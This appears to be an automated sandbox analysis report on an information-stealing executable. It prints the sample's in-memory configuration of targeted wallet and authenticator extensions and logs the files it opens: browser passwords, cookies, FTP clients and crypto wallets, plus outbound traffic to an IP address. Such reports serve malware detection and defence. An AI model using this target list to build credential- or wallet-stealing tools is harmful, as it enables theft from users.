                              Source: b2885fa695.exe, 00000020.00000003.2691712879.0000000000D8D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: eh","ez":"TezBox"},{"en":"lodccjjbdhfakaekdiahmedfbieldgik","ez":"DAppPlay"},{"en":"ijmpgkjfkbfhoebgogflfebnmejmfbm","ez":"BitClip"},{"en":"lkcjlnjfpbikmcmbachjpdbijejflpcm","ez":"Steem Keychain"},{"en":"onofpnbbkehpmmoabgpcpmigafmmnjh","ez":"Nash Extension"},{"en":"bcopgchhojmggmffilplmbdicgaihlkp","ez":"Hycon Lite Client"},{"en":"klnaejjgbibmhlephnhpmaofohgkpgkd","ez":"ZilPay"},{"en":"aeachknmefphepccionboohckonoeemg","ez":"Coin98"},{"en":"bhghoamapcdpbohphigoooaddinpkbai","ez":"Authenticator","ses":true},{"en":"dkdedlpgdmmkkfjabffeganieamfklkm","ez":"Cyano"},{"en":"nlgbhdfgdhgbiamfdfmbikcdghidoadd","ez":"Byone"},{"en":"infeboajgfhgbjpjbeppbkgnabfdkdaf","ez":"OneKey"},{"en":"cihmoadaighcejopammfbmddcmdekcje","ez":"Leaf"},{"en":"bhhhlbepdkbapadjdnnojkbgioiodbic","ez":"Solflare"},{"en":"mkpegjkblkkefacfnmkajcjmabijhclg","ez":"Magic Eden"},{"en":"aflkmfhebedbjioipglgcbcmnbpgliof","ez":"Backpack"},{"en":"gaedmjdfmmahhbjefcbgaolhhanlaolb","ez":"Authy"},{"en":"oeljdldpnmdbchonielidgobddfffla","ez":"EOS Authenticator","ses":true},{"en":"ilgcnhelpchnceeipipijaljkblbcob","ez":"GAuth Authenticator","ses":true},{"en":"imloifkgjagghnncjkhggdhalmcnfklk","ez":"Trezor Password Manager"},{"en":"bfnaelmomeimhlpmgjnjophhpkkoljpa","ez":"Phantom"},{"en":"ppbibelpcjmhbdihakflkdcoccbgbkpo","ez":"UniSat"},{"en":"cpojfbodiccabbabgimdeohkkpjfpbnf","ez":"Rainbow"},{"en":"jiidiaalihmmhddjgbnbgdfflelocpak","ez":"Bitget Wallet"}],"mx":[{"en":"webextension@metamask.io","ez":"MetaMask","et":"\"params\":{\"iterations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus","d":2,"fs":20971520},{"t":0,"p":"%appdata%
                              Leaks process information
                              Source: global trafficTCP traffic: 192.168.2.4:49902 -> 185.121.15.192:80
                              Tries to harvest and steal browser information (history, passwords, etc)
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
                              Tries to harvest and steal ftp login credentials
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Roaming\FTPGetter
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Roaming\FTPInfo
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Roaming\FTPbox
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Roaming\FTPRush
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\ProgramData\SiteDesigner\3D-FTP
                              Tries to steal Crypto Currency Wallets
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Roaming\Ledger Live
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Roaming\Binance
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Roaming\Electrum\wallets
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\LTKMYBSEYZ
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\LTKMYBSEYZ
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\MXPXCVPDVN
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\MXPXCVPDVN
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\NIKHQAIQAU
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\NIKHQAIQAU
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\NWTVCDUMOB
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\NWTVCDUMOB
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: C:\Users\user\Documents\ONBQCLYSPU
